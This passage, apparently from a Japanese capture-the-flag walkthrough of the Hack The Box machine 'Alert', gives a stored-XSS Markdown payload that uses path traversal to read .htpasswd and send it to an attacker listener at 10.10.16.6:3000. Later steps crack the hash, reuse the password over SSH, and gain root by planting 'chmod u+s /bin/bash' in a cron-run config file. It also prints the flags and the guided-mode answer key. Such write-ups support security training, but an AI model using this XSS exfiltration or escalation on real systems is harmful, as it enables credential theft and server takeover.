GET /?content=PHByZT48VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgYWxlcnQuaHRiCgogICAgRG9jdW1lbnRSb290IC92YXIvd3d3L2FsZXJ0Lmh0YgoKICAgIDxEaXJlY3RvcnkgL3Zhci93d3cvYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICBSZXdyaXRlRW5naW5lIE9uCiAgICBSZXdyaXRlQ29uZCAle0hUVFBfSE9TVH0gIV5hbGVydFwuaHRiJAogICAgUmV3cml0ZUNvbmQgJXtIVFRQX0hPU1R9ICFeJAogICAgUmV3cml0ZVJ1bGUgXi8/KC4qKSQgaHR0cDovL2FsZXJ0Lmh0Yi8kMSBbUj0zMDEsTF0KCiAgICBFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKICAgIEN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCjwvVmlydHVhbEhvc3Q+Cgo8VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICBEb2N1bWVudFJvb3QgL3Zhci93d3cvc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzCiAgICAgICAgQWxsb3dPdmVycmlkZSBBbGwKICAgICAgICBBdXRoVHlwZSBCYXNpYwogICAgICAgIEF1dGhOYW1lICJSZXN0cmljdGVkIEFyZWEiCiAgICAgICAgQXV0aFVzZXJGaWxlIC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiLy5odHBhc3N3ZAogICAgICAgIFJlcXVpcmUgdmFsaWQtdXNlcgogICAgPC9EaXJlY3Rvcnk+CgogICAgRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCiAgICBDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAo8L1ZpcnR1YWxIb3N0PgoKPC9wcmU+Cg== HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
(8) /etc/passwdの内容を確認するために、BASE64でデコードする。Basic認証の認証情報が/var/www/statistics.alert.htb/.htpasswdに記載されていることが分かる。
$ echo "PHByZT48VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgYWxlcnQuaHRiCgogICAgRG9jdW1lbnRSb290IC92YXIvd3d3L2FsZXJ0Lmh0YgoKICAgIDxEaXJlY3RvcnkgL3Zhci93d3cvYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICBSZXdyaXRlRW5naW5lIE9uCiAgICBSZXdyaXRlQ29uZCAle0hUVFBfSE9TVH0gIV5hbGVydFwuaHRiJAogICAgUmV3cml0ZUNvbmQgJXtIVFRQX0hPU1R9ICFeJAogICAgUmV3cml0ZVJ1bGUgXi8/KC4qKSQgaHR0cDovL2FsZXJ0Lmh0Yi8kMSBbUj0zMDEsTF0KCiAgICBFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKICAgIEN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCjwvVmlydHVhbEhvc3Q+Cgo8VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICBEb2N1bWVudFJvb3QgL3Zhci93d3cvc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzCiAgICAgICAgQWxsb3dPdmVycmlkZSBBbGwKICAgICAgICBBdXRoVHlwZSBCYXNpYwogICAgICAgIEF1dGhOYW1lICJSZXN0cmljdGVkIEFyZWEiCiAgICAgICAgQXV0aFVzZXJGaWxlIC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiLy5odHBhc3N3ZAogICAgICAgIFJlcXVpcmUgdmFsaWQtdXNlcgogICAgPC9EaXJlY3Rvcnk+CgogICAgRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCiAgICBDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAo8L1ZpcnR1YWxIb3N0PgoKPC9wcmU+Cg==" | base64 -d
<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>
対象のマシン(Alert)上のファイル取得(/var/www/statistics.alert.htb/.htpasswd)
(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。
【ファイル名:XSS6.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>
(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS5.md)を選択し、「View Markdown」をクリックする。
(3) 「Share Markdown」をクリックする。
(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
※「XXXXXXXXX.md」は随時生成される乱数。
(5) Kali Linuxにて3000/tcpで待ち受ける。
$ nc -lvnp 3000
listening on [any] 3000 ...
(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。
(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータに/etc/passwdの内容が表示されていることを確認する。
$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 33984
GET /?content=PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
(8) /etc/passwdの内容を確認するために、BASE64でデコードする。Basic認証の認証情報が/var/www/statistics.alert.htb/.htpasswdに記載されていることが分かる。
$ echo "PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K" | base64 -d
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>SSHログインを用いたalbertユーザー権限のシェル奪取
(1) hashcatを用いて取得したハッシュ値を解析すると、パスワードが「manchesterunited」であることが分かる。
$ vi hash_file
→「$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/」を記載して保存する。
$ hashcat -a 0 -m 1600 hash_file /usr/share/wordlists/rockyou.txt
(2) ブラウザを用いて「http://statistics.alert.htb/」にアクセスし、ユーザー名が「albert」でパスワードが「manchesterunited」でログインする。
(3) ログインに成功し、Webページが表示される。しかし、特に気になる情報はない。
(4) 他のサービスでも同様の認証情報を使用している可能性があるため、sshでログインできるか試すとログインに成功する。
$ ssh albert@alert.htb
→パスワード(manchesterunited)を入力する。
(5) 現在ログインしているユーザーを確認すると、albertユーザー権限でログインしていることが分かる。
$ whoami
albert
$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
(6) 一般ユーザー用のフラグファイルを確認する。
$ cat /home/albert/user.txt
460b3f5402db6d4dd54d64926811f6e0特権昇格
(1) sudoコマンドの設定を確認すると、sudoコマンドで実行できるファイルがないことが分かる。
$ sudo -l
→パスワード(manchesterunited)を入力する。
Sorry, user albert may not run sudo on alert
(2) SUIDファイルを検索する。
$ find / -perm -u=s -type f 2> /dev/null
/opt/google/chrome/chrome-sandbox
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(3) netstatで起動しているサービスのポート番号を確認すると、8080/tcpポートが起動していることが分かる。
$ netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
(4) Kali Linux上の8081/tcpにアクセスすると攻撃対象サーバ(Alert)の8080/tcpへポートフォワードをするために、新しいプロンプトを起動してsshでログインする。
※Kali linux上でコマンドを実行する。
$ ssh albert@alert.htb -L 8081:127.0.0.1:8080
→パスワード(manchesterunited)を入力する。
(5) ブラウザを起動して「http://127.0.0.1:8081/」にアクセスすると、Webページが表示される。ししかし、入力フォームなどがなく特に何も気になる情報がない。
(6) 「https://gitlab.com/kalilinux/packages/pspy」にプロセス一覧を表示させるプログラムがあるため、Kali Linux上に一旦保存して、攻撃対象のマシン(Alert)に移動する。
まずはKali LinuxのIPアドレスを確認し、4000/tcpで待ち受けるWebサービスを起動する。
※Kali Linux側のマシンでコマンドを実行する。
$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
$ ip a
→Kali LinuxのVPN用のIPアドレスを確認する。今回のIPアドレスは「10.10.16.6」。
$ python3 -m http.server 4000
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
(7) pspyコマンドを用いて実行したプロセス一覧を表示する。/opt/website-monitor/monitor.phpが実行中でroot権限で実行されていることが分かる。
$ wget http://10.10.16.6:4000/pspy64
$ chmod +x pspy64
$ ./pspy64
ーーー(省略)ーーー
2025/04/06 05:20:44 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2025/04/06 05:20:51 CMD: UID=0 PID=1649 |
2025/04/06 05:21:01 CMD: UID=0 PID=1650 | /usr/sbin/CRON -f
2025/04/06 05:21:01 CMD: UID=0 PID=1651 | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1
2025/04/06 05:21:01 CMD: UID=0 PID=1652 | /usr/bin/php -f /opt/website-monitor/monitor.php
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
ーーー(省略)ーーー
root 1003 0.0 0.6 207256 26492 ? Ss Apr05 0:04 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root 1004 0.0 0.5 396348 20896 ? Ssl Apr05 0:51 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
daemon 1010 0.0 0.0 3796 2212 ? Ss Apr05 0:00 /usr/sbin/atd -f
root 1011 0.0 0.0 2608 600 ? Ss Apr05 0:00 /bin/sh -c /root/scripts/xss_bot.sh
root 1012 0.0 0.0 2608 596 ? Ss Apr05 0:00 /bin/sh -c /root/scripts/php_bot.sh
root 1013 0.0 0.0 6892 3396 ? S Apr05 0:00 /bin/bash /root/scripts/php_bot.sh
root 1014 0.0 0.0 6892 3288 ? S Apr05 0:00 /bin/bash /root/scripts/xss_bot.sh
root 1015 0.0 0.0 2636 796 ? S Apr05 0:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
root 1016 0.0 0.0 6892 228 ? S Apr05 0:00 /bin/bash /root/scripts/php_bot.sh
root 1017 0.0 0.0 2636 792 ? S Apr05 0:00 inotifywait -m -e create --format %w%f %e /var/www/alert.htb/messages --exclud
ーーー(省略)ーーー
(8) /opt/website-monitor/monitor.phpファイルを編集する権限があるか確認すると、一般ユーザーに編集権限がないことが分かる。
$ ls -l /opt/website-monitor/monitor.php
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 /opt/website-monitor/monitor.php
(9) /opt/website-monitor/monitor.phpファイルの内容を確認すると、/opt/website-monitor/config/configuration.phpファイルを読み込んでいることが分かる。
$ cat /opt/website-monitor/monitor.php
ーーー(省略)ーーー
include('config/configuration.php');
$monitors = json_decode(file_get_contents(PATH.'/monitors.json'));
foreach($monitors as $name => $url) {
$response_data = array();
$timestamp = time();
$response_data[$timestamp]['timestamp'] = $timestamp;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
if(curl_exec($curl) === false) {
$response_data[$timestamp]['error'] = curl_error($curl);
}
else {
$info = curl_getinfo($curl);
$http_code = $info['http_code'];
$ms = $info['total_time_us'] / 1000;
$response_data[$timestamp]['time'] = $ms;
$response_data[$timestamp]['response'] = $http_code;
}
curl_close($curl);
if(file_exists(PATH.'/monitors/'.$name)) {
$data = json_decode(file_get_contents(PATH.'/monitors/'.$name), TRUE);
}
else {
$data = array();
}
$data = array_merge($data, $response_data);
$data = array_slice($data, -60);
file_put_contents(PATH.'/monitors/'.$name, json_encode($data, JSON_PRETTY_PRINT));
}
(10) /opt/website-monitor/config/configuration.phpファイルの権限を確認すると、managementグループに編集権限があることが分かる。
$ ls -l /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 root management 49 Nov 5 14:31 /opt/website-monitor/config/configuration.php
(11) /opt/website-monitor/monitor.phpファイルの内容を確認すると、/bin/bashにSUID権限を付与するプログラムであることが分かる。
$ vi /opt/website-monitor/config/configuration.php
→以下のようにファイルを編集する。
【編集前】
<?php
define('PATH', '/opt/website-monitor');
?>
【編集前】
<?php
define('PATH', '/opt/website-monitor');
system("chmod u+s /bin/bash");
?>
(12) ファイルの権限を確認すると、SUID権限が付与されていることが分かる。
$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
(13) 「/bin/bash -p」コマンドを実行し、特権昇格をする。
$ /bin/bash -p
→ルート権限のプロンプト(bash-5.0#)が表示される。
(14) 現在ログインしているユーザー情報を確認すると、root権限であることが分かる。
# whoami
root
# id
uid=1000(albert) gid=1000(albert) euid=0(root) groups=1000(albert),1001(management)
(15) 特権ユーザー用のフラグファイルを確認する。
# cat /root/root.txt
a59e8d684f521f98d0e01f26763b9f94[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many open TCP ports are listening on Alert?
問題(日本語訳):Alert でリッスンしている開いている TCP ポートはいくつありますか?
答え:2
・Task 2
問題(英語訳):What is the primary domain name used by the webserver on Alert?
問題(日本語訳):Alert の Web サーバーで使用されるプライマリ ドメイン名は何ですか?
答え:alert.htb
・Task 3
問題(英語訳):What is the full name of the subdomain of alert.htb that hosts a different application?
問題(日本語訳):別のアプリケーションをホストする alert.htb のサブドメインの完全な名前は何ですか?
答え:statistics.alert.htb
・Task 4
問題(英語訳):What is the relative path on the site of the page that is vulnerable to a stored cross-site scripting (XSS) attack?
問題(日本語訳):保存型クロスサイトスクリプティング (XSS) 攻撃に対して脆弱なページのサイト上の相対パスは何ですか?
答え:/visualizer.php
・Task 5
問題(英語訳):Does that admin user click on links sent to them via the content form?
問題(日本語訳):管理者ユーザーはコンテンツ フォーム経由で送信されたリンクをクリックしますか?
答え:yes
・Task 6
問題(英語訳):What is the name of the .txt file that there is a link to on the messages.php page?
問題(日本語訳):message.php ページにリンクされている .txt ファイルの名前は何ですか?
答え:2024-03-10_15-48-34.txt
・Task 7
問題(英語訳):What is the full path to the directory on Alert that holds files for the statistics.alert.htb site?
問題(日本語訳):statistics.alert.htb サイトのファイルを保持する Alert 上のディレクトリへのフル パスは何ですか?
答え:/var/www/statistics.alert.htb
・Task 8
問題(英語訳):What is the password for the albert user on Alert?
問題(日本語訳):Alert の albert ユーザーのパスワードは何ですか?
答え:manchesterunited
・Submit User Flag
問題(英語訳):Submit the flag located in the albert user's home directory.
問題(日本語訳):albert ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:460b3f5402db6d4dd54d64926811f6e0
※「/home/albert/user.txt」ファイルの内容
・Task 10
問題(英語訳):What is the full path to the php file being executed by the root user periodically?
問題(日本語訳):root ユーザーによって定期的に実行される PHP ファイルへのフルパスは何ですか?
答え:/opt/website-monitor/monitor.php
・Submit Root Flag
問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:a59e8d684f521f98d0e01f26763b9f94
※「/root/root.txt」ファイルの内容。
関連記事(Hack The Box)
※後日作成予定。

